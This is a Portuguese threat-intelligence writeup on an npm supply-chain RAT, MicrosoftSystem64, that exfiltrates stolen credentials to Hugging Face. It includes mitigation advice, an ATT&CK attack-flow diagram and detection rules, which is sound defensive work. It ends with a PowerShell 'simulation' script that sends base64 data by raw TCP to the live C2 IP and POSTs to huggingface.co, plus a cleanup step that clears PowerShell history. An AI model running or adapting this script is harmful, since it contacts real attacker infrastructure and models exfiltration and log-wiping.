MicrosoftSystem64: Um RAT da Cadeia de Suprimento Exfiltrando Dados para o Hugging Face
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Um pacote malicioso do npm chamado js-logger-pack foi usado para distribuir uma aplicação Node.js cross-plataforma chamada MicrosoftSystem64. O binário funciona como um trojan de acesso remoto completo, capaz de roubar extensões de carteiras de criptomoedas, credenciais armazenadas em navegadores, chaves SSH, dados de sessões do Telegram e capturas de tela. As informações roubadas são exfiltradas através de conjuntos de dados privados do Hugging Face usando um token de API comprometido, enquanto o tráfego de comando e controle é gerido por meio de um servidor WebSocket em 195.201.194.107:8010. A campanha foi vinculada a um ator de ameaça associado à Coreia do Norte que alterna contas do npm e Hugging Face para preservar o acesso e sustentar as operações.
Investigação
A SafeDep analisou a amostra de malware e extraiu sua configuração criptografada com XOR, endpoint de comando e controle, token do Hugging Face e uma lista de mais de 80 IDs de extensões de carteira alvo. Pesquisadores também revisaram os métodos de persistência utilizados em sistemas Windows, macOS e Linux e reconstruíram toda a cadeia de exfiltração envolvendo APIs do Hugging Face. A validação ao vivo em 28 de maio confirmou que os conjuntos de dados ativos ainda estavam recebendo capturas de tela e arquivos de credenciais de vítimas reais.
Mitigação
As organizações devem imediatamente remover quaisquer pacotes npm maliciosos conhecidos vinculados a esta campanha, substituir credenciais comprometidas, chaves SSH e sementes de carteiras de criptomoedas, e monitorar atividades não autorizadas na API do Hugging Face. Proteções de endpoint devem detectar o nome do processo MicrosoftSystem64 e qualquer criação de tarefas agendadas relacionadas. Controles de rede também devem bloquear o tráfego de saída para o endereço IP de comando e controle identificado e restringir acessos inesperados aos endpoints do Hugging Face a partir de binários desconhecidos.
Resposta
Se o MicrosoftSystem64 for detectado, isole imediatamente o sistema afetado, encerre o processo malicioso, remova arquivos instalados e tarefas agendadas, e revogue o token comprometido do Hugging Face. Os investigadores devem coletar evidências forenses de logs e caminhos de dados exfiltrados, então notificar as partes interessadas relevantes e atualizar ferramentas de escaneamento de dependências para bloquear os pacotes maliciosos em builds futuros.
graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9966 classDef infra fill:#ff9999 %% Tool and malware nodes tool_npm[“<b>Ferramenta</b> – pacote npm `js-logger-pack`<br/><b>Descrição</b> Contém binário SEA `MicrosoftSystem64`”] class tool_npm tool malware_binary[“<b>Malware</b> – Binário `MicrosoftSystem64`<br/><b>Descrição</b> ELF multiplataforma empacotado como SEA Node.js com configuração XOR criptografada”] class malware_binary malware infra_c2[“<b>Infraestrutura</b> – C2 WebSocket<br/>IP 195.201.194.107 porta 8010”] class infra_c2 infra %% Attack action nodes init_supply_chain[“<b>Ação</b> – <b>T1195.001 Compromisso de cadeia de suprimentos</b><br/>O atacante publica o pacote npm malicioso `js-logger-pack` contendo o binário SEA”] class init_supply_chain action execution_ingress[“<b>Ação</b> – <b>T1105 Transferência de ferramenta de entrada</b><br/>A vítima instala o pacote que executa o binário Node.js incluído”] class execution_ingress action defense_obfuscation[“<b>Ação</b> – <b>T1027.009 T1027.004 Arquivos ou informações ofuscadas</b><br/>Binário empacotado como ELF SEA com configuração XOR criptografada”] class defense_obfuscation action persistence_mechanisms[“<b>Ação</b> – <b>T1547.001 T1547.014 T1543.001 T1543.002 Persistência</b><br/>Cria chave Run no Registro, Active Setup, LaunchAgent macOS e serviço systemd Linux”] class persistence_mechanisms action defense_hide[“<b>Ação</b> – <b>T1564.014 Ocultação de artefatos</b> & <b>T1497.002 Evasão de sandbox</b><br/>Usa atributos estendidos e verificações de atividade do usuário”] class defense_hide action priv_esc[“<b>Ação</b> – Escalonamento de privilégios via mecanismos de persistência<br/>Reutiliza chave Run ou serviço para obter privilégios elevados”] class priv_esc action cred_browser[“<b>Ação</b> – <b>T1217 Descoberta de informações do navegador</b> & <b>T1555.003 Credenciais de navegador</b><br/>Coleta dados de Chrome, Edge, Firefox e extensões de carteira crypto”] class cred_browser action keylogging[“<b>Ação</b> – <b>T1056.001 Keylogging</b><br/>Keyloggers nativos registram teclas e clipboard em Windows/macOS/Linux”] class keylogging action collection_clip_video[“<b>Ação</b> – <b>T1115 Dados da área de transferência</b> & <b>T1125 Captura de vídeo</b><br/>Capturas de tela a cada 60s e monitoramento de clipboard”] class collection_clip_video action collection_db[“<b>Ação</b> – <b>T1213.006 Dados de repositórios: bancos de dados</b><br/>Extrai arquivos DB, chaves SSH, Telegram tdata e outros repositórios”] class collection_db action c2_communication[“<b>Ação</b> – <b>T1105 Transferência de ferramenta de entrada (C2)</b><br/>Comunicação com WebSocket C2 em 195.201.194.107:8010”] class c2_communication action exfiltration_hf[“<b>Ação</b> – Exfiltração via API do HuggingFace<br/>Envio de dados roubados para a conta `jpeek998`”] class exfiltration_hf action impact_resource[“<b>Ação</b> – <b>T1496.001 Sequestro de recursos</b><br/>Roubo de credenciais de carteiras de criptomoedas para uso ilícito”] class impact_resource action %% Connections showing flow tool_npm –>|entrega| malware_binary malware_binary –>|habilita| init_supply_chain init_supply_chain –>|leva a| execution_ingress execution_ingress –>|leva a| defense_obfuscation defense_obfuscation –>|leva a| persistence_mechanisms persistence_mechanisms –>|habilita| defense_hide defense_hide –>|habilita| c2_communication persistence_mechanisms –>|habilita| priv_esc priv_esc –>|leva a| cred_browser cred_browser –>|leva a| keylogging keylogging –>|leva a| collection_clip_video collection_clip_video –>|leva a| collection_db collection_db –>|leva a| c2_communication c2_communication –>|usa| infra_c2 c2_communication –>|leva a| exfiltration_hf exfiltration_hf –>|resulta em| impact_resource
Fluxo de Ataque
Detecções
Possíveis Pontos de Persistência [ASEPs – Software/NTUSER Hive] (via registry_event)
Visualizar
A Possibilidade de Execução Através de Linhas de Comando do PowerShell Ocultas (via cmdline)
Visualizar
Arquivo .desktop do Linux Criado em Pasta Incomum (via file_event)
Visualizar
Arquivo Oculto Criado em Host Linux (via file_event)
Visualizar
IOCs (HashSha256) para detectar: Dentro do MicrosoftSystem64: Um RAT de Cadeia de Suprimentos Exfiltrando para o HuggingFace
Visualizar
IOCs (SourceIP) para detectar: Dentro do MicrosoftSystem64: Um RAT de Cadeia de Suprimentos Exfiltrando para o HuggingFace
Visualizar
IOCs (DestinationIP) para detectar: Dentro do MicrosoftSystem64: Um RAT de Cadeia de Suprimentos Exfiltrando para o HuggingFace
Visualizar
Detecção de Keylogging por SetWindowsHookEx por Malware [Windows Sysmon]
Visualizar
Detecção de MicrosoftSystem64 RAT em Sistemas Linux [Criação de Processo Linux]
Visualizar
Exfiltração de Dados do Microsoft System64 RAT via HuggingFace [Conexão de Rede Windows]
Visualizar
Detecção de Execução de MicrosoftSystem64 RAT e Comando PowerShell [Criação de Processo Windows]
Visualizar
Execução de Simulação
Pré-requisito: O Check de Telemetria & Baseline Pré-voo deve ter sido aprovado.
Racional: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para desencadear a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa do Ataque & Comandos:
Um atacante já instalou o “Microsoft System64 RAT” no host Windows comprometido. Para exfiltrar dados roubados, o RAT executa duas ações paralelas:- Canal de C2: Abre um socket TCP bruto para o servidor malicioso codificado
195.201.194.107na porta8010e transmite dados codificados em base-64. - Exfiltração HTTP Oculta: Emite um
POSTde HTTPS parahttps://huggingface.co/api/uploadcom os mesmos dados embutidos no corpo do pedido, usando um user-agent legítimo para se misturar com o tráfego normal.
Ambas as ações geram eventos de firewall de saída que correspondem à regra Sigma.
- Canal de C2: Abre um socket TCP bruto para o servidor malicioso codificado
-
Script de Teste de Regressão:
# ------------------------------------------------- # Simulação de Exfiltração do System64 RAT (PowerShell) # ------------------------------------------------- # 1. Preparar dados falsos para exfiltração $data = "SecretData$(Get-Date -Format o)" | ConvertTo-Json $b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data)) # 2. Enviar dados via TCP bruto (C2) $c2Ip = "195.201.194.107" $c2Port = 8010 try { $tcpClient = New-Object System.Net.Sockets.TcpClient($c2Ip, $c2Port) $stream = $tcpClient.GetStream() $bytes = [Text.Encoding]::UTF8.GetBytes($b64) $stream.Write($bytes, 0, $bytes.Length) $stream.Close() $tcpClient.Close() Write-Host "[+] Exfil extra enviada para $c2Ip:$c2Port" } catch { Write-Error "[-] Conexão TCP falhou: $_" } # 3. Enviar dados via HTTPS para HuggingFace (exfiltração oculta) $uri = "https://huggingface.co/api/upload" try { Invoke-WebRequest -Uri $uri ` -Method POST ` -Body @{ data = $b64 } ` -Headers @{ "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } ` -UseBasicParsing Write-Host "[+] Exfiltração HTTP enviada para huggingface.co" } catch { Write-Error "[-] Pedido HTTP falhou: $_" } -
Comandos de Limpeza:
# Remover quaisquer artefatos de rede remanescentes Get-NetTCPConnection -RemoteAddress 195.201.194.107 -RemotePort 8010 | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force } # Limpar histórico do PowerShell (opcional) Clear-History